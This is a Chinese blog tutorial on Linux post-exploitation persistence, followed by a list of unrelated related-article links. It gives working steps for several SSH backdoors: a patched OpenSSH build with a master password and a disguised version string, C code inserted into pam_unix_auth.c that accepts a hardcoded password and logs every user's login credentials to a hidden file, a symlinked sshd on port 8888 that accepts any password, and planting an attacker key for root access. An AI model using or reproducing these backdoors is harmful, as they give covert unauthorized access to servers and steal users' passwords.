当前位置: 首页 > article >正文

Linux-权限维持

一-OpenSSH后⻔

1.安装必备软件

yum -y install openssl openssl-devel pam-devel zlib zlib-devel

yum -y install gcc gcc-c++ make

 

 

2.记录SSH版本号

3.重命名主程序和配置⽂件

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old 

mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

 

4.上传后⻔利⽤程序到服务器 

0x06-openssh-5.9p1.patch.tar.gz         openssh-5.9p1.tar.gz

进⾏解压与打补丁

tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

5. 修改后⻔密码

修改 define SECRETPW "rsec" #万能密码

 

6.修改version.h⽂件,使其修改后的版本信息为原始版本 

 

7. 安装编译

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

service sshd restart  重启sshd服务

8.新开xshell窗⼝  ssh + IP

二.SSH-PAM后⻔ 

1.执⾏命令查看PAM版本号

rpm -qa | grep pam

 

2.下载对应的PAM源码包

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

tar -zxvf Linux-PAM-1.1.8.tar.gz

3.安装 gcc 编译器和 flex 库

yum install gcc flex flex-devel -y 

4.修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 

修改源码,在源码中添加后⻔。
180 retval = _unix_verify_password(pamh, name, p, ctrl);
在 180 ⾏下新增内容如下:

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("rsec",p)==0){return PAM_SUCCESS;} //后⻔密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a"); //SSH登录⽤户名密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
name = p = NULL;
AUTH_RETURN;

 

5.编译安装PAM

unzip Linux-PAM-1.1.8-master.zip
cd Linux-PAM-1.1.8-master/
 chmod +777 configure
./configure && make 

6.备份原有pam_unix.so,防⽌出现错误登录不上 

 cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

7.复制新PAM模块到 /lib64/security/ ⽬录下

[root@rsec Linux-PAM-1.1.8-master]# cd modules/pam_unix/.libs
[root@rsec .libs]# cp pam_unix.so /usr/lib64/security/pam_unix.so 

 

8.远程登录测试,使⽤密码 rsec

 

 

三.软链接&公私钥&

软链接

1.查看是否使⽤PAM进⾏身份验证

cat /etc/ssh/sshd_config|grep UsePAM

 

没有开启的可以开启一下

2.在⽬标服务器上执⾏⼀句话后⻔并在客户端执⾏ ssh root@IP -p 8888 ,输⼊任意密码,成功登
录。

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

kali中执⾏   ssh root@192.168.231.160 -p 8888 

公私钥

查看开启

vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

2.kali端执⾏制作密钥对

ssh-keygen -t rsa #过程中按三次回⻋ 

3.查看密匙

ls /root/.ssh/

4.ssh-copy-id root@192.168.231.160  将⾃⼰的密匙传到centos受害者机器

5.ssh root@192.168.231.160

 

 

 


http://www.kler.cn/a/552664.html

相关文章:

  • Go入门之流程控制
  • HTTP FTP SMTP TELNET 应用协议
  • Farewell Go,Hello AI:是时候说再见了
  • 202305 青少年软件编程等级考试C/C++ 三级真题答案及解析(电子学会)
  • 在unity中实现隐藏窗口,显示系统托盘图标,右键菜单退出功能
  • 怎么把pyqt界面做的像web一样漂亮
  • Cherno C++ P54 内存:栈与堆
  • 工控网络安全介绍 工控网络安全知识题目
  • sqli-labs靶场实录(四): Challenges
  • python烟花程序代码2.0
  • 数据结构_前言
  • 第25周JavaSpringboot实战-电商项目 2.数据库准备和项目初始化
  • 深入解析 Spring Boot 自动配置机制
  • 【ENSP】链路聚合的两种模式
  • 以太网详解(八)传输层协议:TCP/UDP 协议
  • 产品经理学习——AI Agent 智能化
  • Python 函数式编程全攻略:从理论到实战的深度解析
  • React中如何处理高阶组件中的错误
  • docker 部署JAR
  • MySQL之不相关子查询